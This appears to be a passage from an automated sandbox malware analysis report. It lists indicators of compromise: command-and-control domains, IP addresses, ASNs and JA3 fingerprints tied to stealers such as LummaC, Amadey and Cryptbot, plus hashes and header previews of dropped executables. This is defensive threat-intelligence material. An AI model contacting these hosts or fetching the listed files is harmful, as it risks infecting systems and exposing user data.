	Pm81aa8zii.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745
	avBx6p1FAX.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745
	j6Nv9kUydV.exe	Get hash	malicious	Unknown	Browse	home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745
	28PCC9oa8s.exe	Get hash	malicious	Unknown	Browse	home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745
	HHFgVU1HGu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745
	GxSEtDSBuK.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
treehoneyi.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.180.113
home.fivetk5ht.top	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.121.15.192
	t3VyxF5MmA.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	iuO4kwUi17.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	nojxbVm8i4.exe	Get hash	malicious	Cryptbot	Browse	185.121.15.192
	QnYodX3dYf.exe	Get hash	malicious	Cryptbot	Browse	185.121.15.192
	WP6s7cCLzr.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	h9CywWZk71.exe	Get hash	malicious	Cryptbot	Browse	185.121.15.192
	icDcFzyHRy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	5ZH9uXmzGP.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	2M43DSi2cx.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
github.com	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	20.233.83.145
	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.112.3
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	140.82.121.4
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	20.233.83.145
	https://github.com/starise/win11-virtual-desktop-extension/releases/download/1.1.0/VirtualDesktopExtension-1.1.0.msi	Get hash	malicious	Unknown	Browse	20.233.83.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.215.113.43
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
REDSERVICIOES	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.121.15.192
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	t3VyxF5MmA.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	Pm81aa8zii.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	avBx6p1FAX.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	j6Nv9kUydV.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	28PCC9oa8s.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	HHFgVU1HGu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
AMAZON-AESUS	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	54.29.67.94
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	Set-up.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	34.226.108.155
	Set-up.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	phish_alert_iocp_v1.10.16(15).eml	Get hash	malicious	Unknown	Browse	44.217.82.191
	nshkarm5.elf	Get hash	malicious	Mirai	Browse	54.24.234.33
	nshkmips.elf	Get hash	malicious	Mirai	Browse	54.134.19.128
	nshkarm.elf	Get hash	malicious	Mirai	Browse	54.236.222.80
	KNkr78hyig.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	dF66DKQP7u.exe	Get hash	malicious	XWorm	Browse	20.233.83.145 185.199.110.133
	2QaN4hOyJs.exe	Get hash	malicious	XWorm	Browse	20.233.83.145 185.199.110.133
	YgJ5inWPQO.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	20.233.83.145 185.199.110.133
	P0RN-vidz.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.233.83.145 185.199.110.133
	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse	20.233.83.145 185.199.110.133
	Sentinelled.vbs	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.110.133
	mniscreenthinkinggoodforentiretimegoodfotbusubessthings.hta	Get hash	malicious	Cobalt Strike	Browse	20.233.83.145 185.199.110.133
	QUOTATION#008792.exe	Get hash	malicious	AgentTesla	Browse	20.233.83.145 185.199.110.133
	Invoice DHL - AWB 2024 E4001 - 0000731.exe	Get hash	malicious	Snake Keylogger	Browse	20.233.83.145 185.199.110.133
	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	20.233.83.145 185.199.110.133
a0e9f5d64349fb13191bc781f81f42e1	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	104.21.91.209
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.91.209
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.91.209
	gf3yK6i4OX.exe	Get hash	malicious	LummaC	Browse	104.21.91.209
	0WO49yZcDA.exe	Get hash	malicious	LummaC	Browse	104.21.91.209
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.91.209
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.91.209
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	104.21.91.209
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	104.21.91.209

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\343658ec78.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1058
Entropy (8bit):	5.356262093008712
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeR:MxHKlYHKh3owH8tHo6hAHKzeR
MD5:	B2EFBF032531DD2913F648E75696B0FD
SHA1:	3F1AC93E4C10AE6D48E6CE1745D23696FD6554F6
SHA-256:	4E02B680F9DAB8F04F2443984B5305541F73B52A612129FCD8CC0C520C831E4B
SHA-512:	79430DB7C12536BDC06F21D130026A72F97BB03994CE2F718F82BB9ACDFFCA926F1292100B58B0C788BDDF739E87965B8D46C8F003CF5087F75BEFDC406295BC
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 28%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1859584
Entropy (8bit):	7.946987079241149
Encrypted:	false
SSDEEP:	24576:Ck8wcbr6w8lyTUY+a4hwtOUZ8HqPD7DJ7LdbPVdU8oTmA+n3Sp78ScIO62t4K+j8:5NmrhIRLU+qPD7DdZdoqRnCpYSx+
MD5:	184CEE9B3F334E2CEE2CCC95977E5335
SHA1:	3C13283ED8C4E0E09AE0E5F361DA46F073CD2386
SHA-256:	188E74BAB6540E25C1CC694264D96ED609F113267F747BE27E09A2420EF90577
SHA-512:	ADBE8C840684E0D56F2AB56677548A4DD47A8C8F0810557CBDFD21C27829B7ECF4950BD8FF7008A3C2E6D6ECBAC84A368542109D103D493C412751F56748EF6E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................I......b....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... .`*..@.......\..............@...ogquhcng....../......^..............@...zctwxjzx......I......8..............@....taggant.0....I.."...>..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4395520
Entropy (8bit):	7.986631048424993
Encrypted:	false
SSDEEP:	98304:mMU5lcor5nja6WnjdKNCIBzCpLqtSIA3:ZUXhjByjdKNvyLGSIe
MD5:	EE69644C05220B20497029110C3A4D6C
SHA1:	0459D2706D2B61CE1510B30BE64934A2D5A1F4B1
SHA-256:	D93B5614D8A0E4B0E6E0B80906FFBEF339ECEE97B08833B690DAD9470D4BD2A9
SHA-512:	B0441B806CE9269957211A4F0725DFB57BC171484975DA423D4CB1B72813B32CB51F1A101673B798CCAD7949F1E3304AB9F918F8030750F6338EE5B0183E7C83
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.JI..Lu..2...........`I...@.................................%.C...@... ............................._.r.s.....r......................~...............................}...................................................... . ..r......4(.................@....rsrc.........r......D(.............@....idata ......r......F(.............@... . 7...r......H(.............@...cgufevln............J(.............@...qfofwegu..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4448256
Entropy (8bit):	7.98725691198706
Encrypted:	false
SSDEEP:	98304:YIRVmagV9l4IwCEcKaYnKBRqX7AFrh4CHFMMzf0GTR1wg6JzCXSPi:YeVcOCYTKBRqcNSClMnQkJE
MD5:	ECE3B1A61F2977C90820F0601637020E
SHA1:	36EC33851C696B440730B3D9C8B59E2AB2E1B0B6
SHA-256:	239EB2C35896D73E83B650BF4C5637188E9BB1A5A85C74A2202CD50C2382D6E6
SHA-512:	E8FBBE975F739A40A97055BDDA605BDF72210D6BFAAF7E0F1A78083238DFD816317DE56A21590F5E05C1DD1E170B45E2610415C0B7CA3C27C12D037173161DF7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2... .......pH...@..........................P.......D...@... ............................._pt.s....`t.....................0....................................................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... .08...t......`(.............@...hdinlnsl.`.......V...b(.............@...luxyrgrl..............C.............@....taggant.0... ..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1956352
Entropy (8bit):	7.942465462249873
Encrypted:	false
SSDEEP:	24576:h2DfIgQ0ieGjO3ta1IQjATEbM0KTyjbG8iIxU24VJCHd2A+oTl5pqa0iRZYZwCFO:wkgZvta1PVkTyjVUnJq2aTkaZivO4
MD5:	81C164E0C2D7D36E812FE860548569A1
SHA1:	97825C34E950ED01F6111B524C114F209A1B9819
SHA-256:	F88321D520C20B67F4FBA3B0DCC89003E30D1AABF2E728E5C50773BADD64632E
SHA-512:	E13101ABD29BC203BFC553056741CC9FADC239350230F92397C74697DD069CC5F6540E1979063B35C18AAAB913682104DBE24B17430D359ADAAA583E6EF6C548
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i...........nG@.....ZR.....ZC.....ZU.................Z\.....ZB.....ZG....Rich...................PE..L....,.e.....................@.......`............@.................................\.......................................[.A.o.....@.....................................................X...................................................... . ..@......N..................@....rsrc.........@..p...^..............@....idata ......A.....................@... ..)...A.....................@...enuobymw.....`k.....................@...cncgxjdr.....P......................@....taggant.0...`..."..................@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.338206717136569
Encrypted:	false
SSDEEP:	384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
MD5:	04F57C6FB2B2CD8DCC4B38E4A93D4366
SHA1:	61770495AA18D480F70B654D1F57998E5BD8C885
SHA-256:	51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
SHA-512:	53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 57%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.7..........."...0..L...........j... ........@.. ....................................`.................................<j..O....................................i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B................pj......H.......(7...2...........................................................0..8.......s/.....(....} .....}!.....}.....\| .....(...+.\| ...(.....0..P........~.........,B.r...p(.....r...p(.....(.....r...p.(....(......(....o......(.......0..8.......s2.....(....}(.....}).....}'....\|(.....(...+.\|(...(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.363556437014245
Encrypted:	false
SSDEEP:	48:RWSU4xc4RTmaoUeW+gZ9tK8NPZHUxL7u1iMuge//ZSUyus:RLHxcIalLgZ2KRHWLOugEs
MD5:	8A7935350FCD72E3659BF2AC81951065
SHA1:	BD30E445A8F6B635237A9F133AE565A3D4A568CF
SHA-256:	1F889D7EC707D5A36357AF0E424F5DD7CC6943B4BB807FA694AD46699DDCECCD
SHA-512:	2BADF2CEE0657D3877A9DD34DE16963E9D6CD49CB77FA1F430772C0ABD6E22C88E4071EE23C5FF0F88731B39EF71BCE219CDAB209B8C937DBC253C7DC1798F86
Malicious:	false
Preview:	@...e...........................................................P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.ConfigurationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.4.................%...K... ...........System.Xml..<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4448256
Entropy (8bit):	7.98725691198706
Encrypted:	false
SSDEEP:	98304:YIRVmagV9l4IwCEcKaYnKBRqX7AFrh4CHFMMzf0GTR1wg6JzCXSPi:YeVcOCYTKBRqcNSClMnQkJE
MD5:	ECE3B1A61F2977C90820F0601637020E
SHA1:	36EC33851C696B440730B3D9C8B59E2AB2E1B0B6
SHA-256:	239EB2C35896D73E83B650BF4C5637188E9BB1A5A85C74A2202CD50C2382D6E6
SHA-512:	E8FBBE975F739A40A97055BDDA605BDF72210D6BFAAF7E0F1A78083238DFD816317DE56A21590F5E05C1DD1E170B45E2610415C0B7CA3C27C12D037173161DF7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
